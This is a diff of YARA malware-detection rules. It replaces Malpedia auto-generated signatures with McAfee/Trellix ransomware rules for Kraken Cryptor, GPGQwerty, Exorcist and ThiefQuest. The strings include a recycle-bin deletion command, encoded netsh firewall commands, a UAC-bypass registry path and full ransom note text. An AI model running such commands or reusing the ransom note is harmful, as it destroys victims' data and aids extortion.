+		logic_hash = "d40a466b12188d545d3fbe2c9d7e3685dde1250ae1f25df2a72cdf93c470ae25"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "KEYLOGGER, BACKDOOR, RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "keylogger, backdoor, ransomware"
+		actor_type = "Cybercrime"
+		malware_family = "Ransom:OSX/ThiefQuest"
 
 	strings:
-		$sequence_0 = { 53 be???????? 83ec34 6a0d 59 8bfc }
-		$sequence_1 = { a1???????? 56 3bc3 7422 }
-		$sequence_2 = { 8dbda6f8ffff 33f6 f3ab 66ab 6a1e 8d45a8 56 }
-		$sequence_3 = { e8???????? 83c414 397e18 0f85ce020000 3bc3 7d50 33c9 }
-		$sequence_4 = { 3bc3 0f84870e0000 50 ff15???????? }
-		$sequence_5 = { 8bec 81ec14040000 53 56 57 6a40 ff15???????? }
-		$sequence_6 = { 8d8534ffffff 57 50 e9???????? }
-		$sequence_7 = { 56 be???????? 57 56 e8???????? 8bd8 c7042499050000 }
-		$sequence_8 = { 8945d0 0f8e740e0000 8d85a0fcffff 50 ff75fc e8???????? }
-		$sequence_9 = { 897db0 8975c4 ff750c 8975bc 8975c0 }
+		$pattern_0 = { 01c1 48 83c102 48 }
+		$pattern_1 = { 8c1471 80c1c1 98 1c8c }
+		$pattern_2 = { d8974f0dc89a 9f c9 9adf70cd595390 }
+		$pattern_3 = { d897c56f028c 2393a0a42e92 8ea2c27affc2 f8 }
+		$pattern_4 = { 477006 baa6a1cb82 ae f9 e8???????? d8a32bd0d519 }
+		$pattern_5 = { d898ab5c757b 2f f26f 5d }
+		$pattern_6 = { bc007a846b 2b54adaf 93 35eddf38e6 cdd0 b246 }
+		$pattern_7 = { ae 49b00e 01d1 45da611b 44839db656691674 }
+		$pattern_8 = { 01c1 48 83c101 48 }
+		$pattern_9 = { 6be3c6 5c 99 ae ed bf370e2f47 }
+		$pattern_10 = { fd d7 43bd18fd6f06 7937 fa }
+		$pattern_11 = { 01c2 48 83c201 bf01000000 }
+		$pattern_12 = { d89825ed4469 29f1 5c e12d }
+		$pattern_13 = { d8992062f7f9 73ff 90 085fc6 }
+		$pattern_14 = { 01c1 6689ca 668995cefeffff e9???????? }
+		$pattern_15 = { 01c1 41 89c8 44 }
+		$pattern_16 = { d89935c487a7 bcdffa587c be6cadbb3c 185fc4 }
+		$pattern_17 = { 01c1 48 8b75a8 48 }
+		$pattern_18 = { 0000 48 8945f8 e9???????? }
+		$pattern_19 = { d89959d6472d a2???????? 3525c7eec9 95 }
+		$pattern_20 = { 01c2 48 83c203 bf01000000 }
+		$pattern_21 = { 4a7888 ab 23e7 cf 11f3 }
+		$pattern_22 = { d8982fbf222d 49 92 1d25b42bba }
+		$pattern_23 = { e2d7 8437 6b4696d9 92 9d a6 }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <124322606
 }
-rule MALPEDIA_Win_Andromeda_Auto : FILE
+rule TRELLIX_ARC_Crime_Ransomware_Windows_Gpgqwerty : RANSOMWARE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "06e8a020-0fd4-5226-bdbc-44028f668872"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.andromeda_auto.yar#L1-L309"
-		license_url = "N/A"
-		logic_hash = "b22436b7aba3ed23bef95d1f14e5fb10f193d85aea0247573fcd01991d4926fb"
+		description = "Detect GPGQwerty ransomware"
+		author = "McAfee Labs"
+		id = "dcbaf3bd-7d0c-5449-a751-82caaad3b5c2"
+		date = "2018-03-21"
+		modified = "2020-08-14"
+		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_GPGQwerty.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "8e77895cb8e7f33707c5080780a49cb4bf1d35aa7a8df829fdc7a93319ce3897"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/GPGQwerty"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 74cf ebcf 33c0 33db 33c9 33d2 8b7d10 }
-		$sequence_1 = { 8b7508 33db 368a942900ffffff 02c2 020433 368ab42800ffffff }
-		$sequence_2 = { 3688b42800ffffff 3688942b00ffffff 02d6 81e2ff000000 368a942a00ffffff 301439 }
-		$sequence_3 = { 368a942a00ffffff 301439 41 3b4d14 75c3 }
-		$sequence_4 = { 368ab42800ffffff 3688b42900ffffff 3688942800ffffff fec1 7408 }
-		$sequence_5 = { 368a942800ffffff 02da 368ab42b00ffffff 3688b42800ffffff 3688942b00ffffff }
-		$sequence_6 = { 8d7dfc b8fcfdfeff fd ab 2d04040404 e2f8 fc }
-		$sequence_7 = { 8bec 81c400ffffff 60 b940000000 8d7dfc b8fcfdfeff }
-		$sequence_8 = { 60 e8???????? 5d 81ed???????? 33c9 }
-		$sequence_9 = { 3c41 0f9dc2 85ca 7404 0420 8806 }
-		$sequence_10 = { 50 e8???????? 83c40c 6800000100 e8???????? }
-		$sequence_11 = { 0fb64601 84c0 7905 0d00ffffff }
-		$sequence_12 = { 8a06 33c9 3c5a 0f9ec1 33d2 }
-		$sequence_13 = { 8d45d0 50 6a01 ff7508 }
-		$sequence_14 = { ff7564 50 6aff 53 56 56 ffd7 }
-		$sequence_15 = { 8b4dfc ff75e4 03c8 51 ff15???????? }
-		$sequence_16 = { 68???????? ff75f4 e8???????? ff75f4 e8???????? 68???????? }
-		$sequence_17 = { 6a00 6a06 6a01 6a02 e8???????? 8945f0 83f8ff }
-		$sequence_18 = { e8???????? 6a06 ff75f8 e8???????? 8d45f4 }
-		$sequence_19 = { ff75f0 e8???????? c7459c44000000 8945d4 }
-		$sequence_20 = { e8???????? 83f800 7526 ff75f8 e8???????? 40 50 }
-		$sequence_21 = { 83f8ff 7466 6a05 ff75f0 }
-		$sequence_22 = { 6a05 ff75f0 e8???????? 83f8ff 7457 33c0 8d7d9c }
-		$sequence_23 = { 8945fc 83f800 0f8476010000 6804010000 6a00 ff35???????? e8???????? }
-		$sequence_24 = { 314508 ff560c 8b7d04 0bd8 81fbb599839e 7503 }
-		$sequence_25 = { 31450c 315dfc ff5634 31450c 81c75853b2b3 }
-		$sequence_26 = { 81ef21cfd856 2bd8 81ff1ac8cfd4 0f84ac000000 }
-		$sequence_27 = { 0f8418010000 8365f000 6850020000 6a08 ff750c ff5604 }
-		$sequence_28 = { ff560c 0faff8 8b456c 8b00 89456c ff5638 0fafd8 }
-		$sequence_29 = { 3d00010000 7322 888405ecfeffff ff560c }
-		$sequence_30 = { 81fb15af295e 0f85ae000000 81ef52eceb06 ff5634 8bd8 81cb15af295e 8b45fc }
-		$sequence_31 = { ff5634 8b4d0c 81c951dbc951 0fafc1 89450c }
+		$a = "gpg.exe –recipient qwerty  -o"
+		$b = "%s%s.%d.qwerty"
+		$c = "del /Q /F /S %s$recycle.bin"
+		$d = "cryz1@protonmail.com"
 
 	condition:
-		7 of them and filesize <204800
+		all of them
 }
-rule MALPEDIA_Win_Vhd_Ransomware_Auto : FILE
+rule TRELLIX_ARC_Kraken_Cryptor_Ransomware_Loader : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1b802015-a125-5833-acd7-30aed08841d8"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vhd_ransomware_auto.yar#L1-L126"
-		license_url = "N/A"
-		logic_hash = "32d97d3009fbca3c4f84bd22721b2479eac7cefb08b428240c2e9ebde9b435cb"
+		description = "Rule to detect the Kraken Cryptor Ransomware loader"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "e6bfa30b-6565-5d03-8f4d-96fc2b6a1c11"
+		date = "2018-09-30"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Kraken.yar#L1-L30"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd"
+		logic_hash = "9e252a3ba7f6bf861ea7563461a1420959dfb0f5b7c3f6071150d03422504539"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Kraken"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8b450c 4a 3bd0 7d10 8bc8 }
-		$sequence_1 = { 68???????? 8d45f4 50 c745f4d8514100 e8???????? cc 8bff }
-		$sequence_2 = { e8???????? 8b8514e6ffff 48 83c404 4b 898514e6ffff 85c0 }
-		$sequence_3 = { f3ab 8b8dccfcffff 890a 85c9 7e98 8d4a04 }
-		$sequence_4 = { c1eb18 0fb69b98744100 c1e308 0bda 8b55cc c1ea08 0fb6d2 }
-		$sequence_5 = { 66895c2460 897c241c c7442420c05d4000 897c2424 897c2428 }
-		$sequence_6 = { 7d10 895c8204 ff02 8bde 33f6 8bcb 0bce }
-		$sequence_7 = { e8???????? b9c9000000 8bf0 8dbd7cf6ffff }
-		$sequence_8 = { 46 83fe40 7cee 8d4d9c 51 8d8d84baffff e8???????? }
-		$sequence_9 = { ff15???????? 32c0 e9???????? 6a00 8d8588b4ffff 50 6800200000 }
+		$pdb = "C:\\Users\\Krypton\\source\\repos\\UAC\\UAC\\obj\\Release\\UAC.pdb" fullword ascii
+		$s2 = "SOFTWARE\\Classes\\mscfile\\shell\\open\\command" fullword wide
+		$s3 = "public_key" fullword ascii
+		$s4 = "KRAKEN DECRYPTOR" ascii
+		$s5 = "UNIQUE KEY" fullword ascii
 
 	condition:
-		7 of them and filesize <275456
+		uint16(0)==0x5a4d and filesize <600KB and $pdb or all of ($s*)
 }
-rule MALPEDIA_Win_Dadjoke_Auto : FILE
+rule TRELLIX_ARC_Kraken_Cryptor_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "62c26982-fdfa-5ead-84fa-82086121c261"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadjoke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dadjoke_auto.yar#L1-L224"
-		license_url = "N/A"
-		logic_hash = "551e5b1afd2fb8a5c55119844d05872b1d6fb1f0561b620ba9bad0b2cb1592e0"
+		description = "Rule to detect the Kraken Cryptor Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "7e1e5fa8-6d87-5e64-a8d4-4dae55ab76ca"
+		date = "2018-09-30"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Kraken.yar#L32-L64"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd"
+		logic_hash = "2ad7f0bf6110eab79e0f9541c49ae44089ebca3f91ffa80de874d60d5a7ed266"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Kraken"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 56 57 6800081000 6a00 }
-		$sequence_1 = { 8b55bc 52 6800040000 8d8518f5ffff 50 e8???????? }
-		$sequence_2 = { 3d46270000 7406 837dd800 752c }
-		$sequence_3 = { 8345bc01 807df600 75ed 8b7dbc 8bb570ffffff 8b956cffffff }
-		$sequence_4 = { 6a00 6a00 ff15???????? 8945c0 6a00 6a01 }
-		$sequence_5 = { ff15???????? 8945fc 8b4dfc 51 e8???????? 83c404 }
-		$sequence_6 = { e8???????? 83c40c 8d8d28fdffff 51 e8???????? 83c404 }
-		$sequence_7 = { 5e c3 8bff 55 8bec 83ec10 33c0 }
-		$sequence_8 = { ff15???????? 85c0 7417 b920000000 }
-		$sequence_9 = { e8???????? c3 6a04 e8???????? 59 c3 6a0c }
-		$sequence_10 = { 84c0 0f94c1 8bc1 c3 a1???????? c3 8bff }
-		$sequence_11 = { e8???????? 83c40c c7458c00000000 ff15???????? 50 e8???????? }
-		$sequence_12 = { 8b3d???????? 8b1d???????? 51 e8???????? 8bf0 83c404 }
-		$sequence_13 = { 6a40 6800100000 6800004000 6a00 }
-		$sequence_14 = { 0f84d5480000 c3 833d????????ff 7503 33c0 }
-		$sequence_15 = { 7ce7 8d45f4 c645f800 33db 8d7001 33d2 }
-		$sequence_16 = { 8b85e4faffff 8d95e0faffff 52 68???????? 50 8b08 }
-		$sequence_17 = { 8d85e4faffff 50 68???????? 6a01 6a00 68???????? ff15???????? }
-		$sequence_18 = { 884435f4 46 83fe04 7ce7 8d45f4 c645f800 }
-		$sequence_19 = { c745fc14000000 0f1106 894610 8d45fc }
-		$sequence_20 = { 5f 0f44ca 5b 8bc1 5e 5d c3 }
-		$sequence_21 = { 83e13f c1f806 6bc930 8b048558047500 }
+		$s1 = "Kraken Cryptor" fullword ascii nocase
+		$s2 = "support_email" fullword ascii
+		$fw1 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii
+		$fw2 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii
+		$fw3 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iUkRQIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD0z" ascii
+		$fw4 = "L0MgbmV0c2ggYWR2ZmlyZXdhbGwgZmlyZXdhbGwgYWRkIHJ1bGUgbmFtZT0iU01CIFByb3RvY29sIEJsb2NrIiBwcm90b2NvbD1UQ1AgZGlyPWluIGxvY2FscG9ydD00" ascii
+		$uac = "<!--<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\" />-->   " fullword ascii
 
 	condition:
-		7 of them and filesize <344064
+		uint16(0)==0x5a4d and filesize <600KB and all of ($fw*) or all of ($s*) or $uac
 }
-rule MALPEDIA_Win_Headertip_Auto : FILE
+rule TRELLIX_ARC_Ransom_Note_Kraken_Cryptor_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "85fa344d-9a7e-5c14-be69-b6cdc5f3bcac"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.headertip_auto.yar#L1-L126"
-		license_url = "N/A"
-		logic_hash = "4007b2c1a7322a986be26c8429a660608ab1b4d0812b16868306a2db8cbc4c12"
+		description = "Rule to detect the ransom note delivered by Kraken Cryptor Ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "dec9d364-daf9-5a1d-8e72-ed4dd2aeecdf"
+		date = "2018-09-30"
+		modified = "2020-08-14"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Kraken.yar#L66-L108"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "d4acdf0716320b0f757b8dbc97bb9d407460b2d69dc8e12292539e823be0f57d"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Kraken"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 85c0 7434 8b07 ff4d08 03c3 56 }
-		$sequence_1 = { 57 ff15???????? 59 eb32 ffd6 }
-		$sequence_2 = { c645d274 c645d36f c645d472 c645d579 c645d657 885dd7 c645ac47 }
-		$sequence_3 = { c6458d75 c6458e65 c6458f72 c6459079 c645914f c6459270 c6459374 }
-		$sequence_4 = { 56 8d45ec 50 8d45f0 50 6813000020 }
-		$sequence_5 = { 894df4 8955fc f7c60000ffff 7513 81e6ffff0000 2b7010 }
-		$sequence_6 = { 03c6 ebea 56 8b742410 57 }
-		$sequence_7 = { 58 668945f8 6a32 58 668945fa 33c0 668945fc }
-		$sequence_8 = { ff15???????? a3???????? 3bc6 0f84c0000000 53 8d4df4 }
-		$sequence_9 = { 50 ff15???????? 83c414 56 b80013e084 50 56 }
+		$s1 = "No way to recovery your files without \"KRAKEN DECRYPTOR\" software and your computer \"UNIQUE KEY\"!" fullword ascii
+		$s2 = "Are you want to decrypt all of your encrypted files? If yes! You need to pay for decryption service to us!" fullword ascii
+		$s3 = "The speed, power and complexity of this encryption have been high and if you are now viewing this guide." fullword ascii
+		$s4 = "Project \"KRAKEN CRYPTOR\" doesn't damage any of your files, this action is reversible if you follow the instructions above." fullword ascii
+		$s5 = "https://localBitcoins.com" fullword ascii
+		$s6 = "For the decryption service, we also need your \"KRAKEN ENCRYPTED UNIQUE KEY\" you can see this in the top!" fullword ascii
+		$s7 = "-----BEGIN KRAKEN ENCRYPTED UNIQUE KEY----- " fullword ascii
+		$s8 = "All your files has been encrypted by \"KRAKEN CRYPTOR\"." fullword ascii
+		$s9 = "It means that \"KRAKEN CRYPTOR\" immediately removed form your system!" fullword ascii
+		$s10 = "After your payment made, all of your encrypted files has been decrypted." fullword ascii
+		$s11 = "Don't delete .XKHVE files! there are not virus and are your files, but encrypted!" fullword ascii
+		$s12 = "You can decrypt one of your encrypted smaller file for free in the first contact with us." fullword ascii
+		$s13 = "You must register on this site and click \"BUY Bitcoins\" then choose your country to find sellers and their prices." fullword ascii
+		$s14 = "-----END KRAKEN ENCRYPTED UNIQUE KEY-----" fullword ascii
+		$s15 = "DON'T MODIFY \"KRAKEN ENCRYPT UNIQUE KEY\"." fullword ascii
+		$s16 = "# Read the following instructions carefully to decrypt your files." fullword ascii
+		$s17 = "We use best and easy way to communications. It's email support, you can see our emails below." fullword ascii
+		$s18 = "DON'T USE THIRD PARTY, PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES, THIS CAUSE DAMAGE YOUR FILES PERMANENTLY." fullword ascii
+		$s19 = "https://en.wikipedia.org/wiki/Bitcoin" fullword ascii
+		$s20 = "Please send your message with same subject to both address." fullword ascii
 
 	condition:
-		7 of them and filesize <174080
+		uint16(0)==0x4120 and filesize <9KB and all of them
 }
-rule MALPEDIA_Win_Doublefinger_Auto : FILE
+rule TRELLIX_ARC_RANSOM_Exorcist : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9629155b-05c7-5ae4-a87c-14586b484d59"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doublefinger_auto.yar#L1-L119"
-		license_url = "N/A"
-		logic_hash = "1175dbcf7260ce52fd0cde8ae4e3d3c47c27ca77b65a7696e2bad6350a2d51d5"
+		description = "Rule to detect Exorcist"
+		author = "McAfee ATR Team"
+		id = "38ab069d-b030-5459-a42f-7ecd5963e68f"
+		date = "2020-09-01"
+		modified = "2020-10-12"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Exorcist.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "c376382e60aae0f661151495097d3d93f185faebb11781dbf083324c23a07247"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransomware:W32/Exorcist"
+		actor_type = "Cybercrime"
+		hash1 = "793dcc731fa2c6f7406fd52c7ac43926ac23e39badce09677128cce0192e19b0"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 4533c0 8b942458010000 488b4c2450 e8???????? 48898424c8020000 4533c0 8b94245c010000 }
-		$sequence_1 = { 89442428 8b442424 ffc8 89442424 }
-		$sequence_2 = { eb4b 4c8d057b820000 baeb030000 ff15???????? eb37 488d542420 ff15???????? }
-		$sequence_3 = { 0000 006689 442432 b845000000 6689442434 b84d000000 6689442436 }
-		$sequence_4 = { 894c2408 4883ec18 488d442420 4889442408 }
-		$sequence_5 = { 48898424c8010000 c744245c00000000 486344245c 488b8c24d0000000 }
-		$sequence_6 = { 4889442450 4533c0 8b9424c0010000 488b4c2450 e8???????? 48898424e8020000 }
-		$sequence_7 = { 33d2 488d41ff 4883f8fd 773c b84d5a0000 663901 }
-		$sequence_8 = { 488b00 ba01000000 488b4c2438 ff90b8000000 }
-		$sequence_9 = { ff9424c0000000 4889842480010000 b875000000 6689842400010000 b872000000 6689842402010000 }
+		$sq1 = { 48 8B C4 48 89 58 08 48 89 70 10 48 89 78 18 4C 89 60 20 55 41 56 41 57 48 8D 68 A1 48 81 EC 90 00 00 00 49 8B F1 49 8B F8 4C 8B FA 48 8B D9 E8 ?? ?? ?? ?? 45 33 E4 85 C0 0F 85 B1 00 00 00 48 8B D7 48 8B CB E8 9E 02 00 00 85 C0 0F 85 9E 00 00 00 33 D2 48 8B CB E8 ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 45 8D 44 24 01 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 8B D0 48 8B CB 48 8B F8 FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 E8 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 4C 8B F0 48 8D 48 FF 48 83 F9 FD 77 25 48 8D 55 2F 48 8B C8 FF 15 ?? ?? ?? ?? 4C 39 65 2F 75 3B 49 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 4C 8D 9C 24 90 00 00 00 49 8B 5B 20 49 8B 73 28 49 8B 7B 30 4D 8B 63 38 49 8B E3 41 5F 41 5E 5D C3 48 8D 45 FB 4C 89 65 1F 4C 8D 4D FF 48 89 44 24 20 4C 8B C6 4C 89 65 07 48 8D 55 07 4C 89 65 FF 48 8D 4D 1F 44 89 65 FB E8 ?? ?? ?? ?? 45 33 C9 4C 8D 05 3C F5 FF FF 49 8B D7 49 8B CE FF 15 ?? ?? ?? ?? 48 8D 55 17 49 8B CE FF 15 ?? ?? ?? ?? 49 8B CE 44 89 65 F7 E8 ?? ?? ?? ?? 49 8B F4 4C 89 65 0F 4C 39 65 17 0F 8E 9D 00 00 00 C1 E0 10 44 8B F8 F0 FF 45 F7 B9 50 00 00 00 E8 ?? ?? ?? ?? 8B 4D 13 48 8B D8 89 48 14 89 70 10 4C 89 60 18 44 89 60 28 4C 89 70 30 48 8B 4D 07 48 89 48 48 48 8D 45 F7 B9 00 00 01 00 48 89 43 40 E8 ?? ?? ?? ?? 33 D2 48 89 43 20 41 B8 00 00 01 00 48 8B C8 E8 ?? ?? ?? ?? 48 8B 53 20 4C 8D 4B 38 41 B8 00 00 01 00 48 89 5C 24 20 49 8B CE FF 15 ?? ?? ?? ?? EB 08 33 C9 FF 15 ?? ?? ?? ?? 8B 45 F7 3D E8 03 00 00 77 EE 49 03 F7 48 89 75 0F 48 3B 75 17 0F 8C 6B FF FF FF EB 03 8B 45 F7 85 C0 74 0E 33 C9 FF 15 ?? ?? ?? ?? 44 39 65 F7 77 F2 48 8B 4D 07 E8 ?? ?? ?? ?? 48 8B 4D 1F 33 D2 E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 4C 89 64 24 30 45 33 C9 C7 44 24 28 80 00 00 00 45 33 C0 BA 00 00 00 C0 C7 44 24 20 03 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 48 8B D8 48 8D 48 FF 48 83 F9 FD 77 51 48 8D 55 37 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B 55 37 45 33 C9 45 33 C0 48 8B CB FF 15 ?? ?? ?? ?? 44 8B 45 FB 4C 8D 4D 27 48 8B 55 FF 48 8B CB 4C 89 64 24 20 FF 15 ?? ?? ?? ?? 48 8B 4D FF E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? E9 14 FE FF FF 48 8B CF E8 ?? ?? ?? ?? 48 8B 4D FF E9 06 FE FF FF }
+		$sq2 = { 48 8B C4 48 81 EC 38 01 00 00 48 8D 50 08 C7 40 08 04 01 00 00 48 8D 4C 24 20 FF 15 ?? ?? ?? ?? 48 8D 4C 24 20 E8 ?? ?? ?? ?? 48 81 C4 38 01 00 00 C3 }
 
 	condition:
-		7 of them and filesize <115712
+		uint16(0)==0x5a4d and any of them
 }
-rule MALPEDIA_Win_Snowflake_Stealer_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Ransom_Tunderx : RANSOMWARE FILE
 {
 	meta:
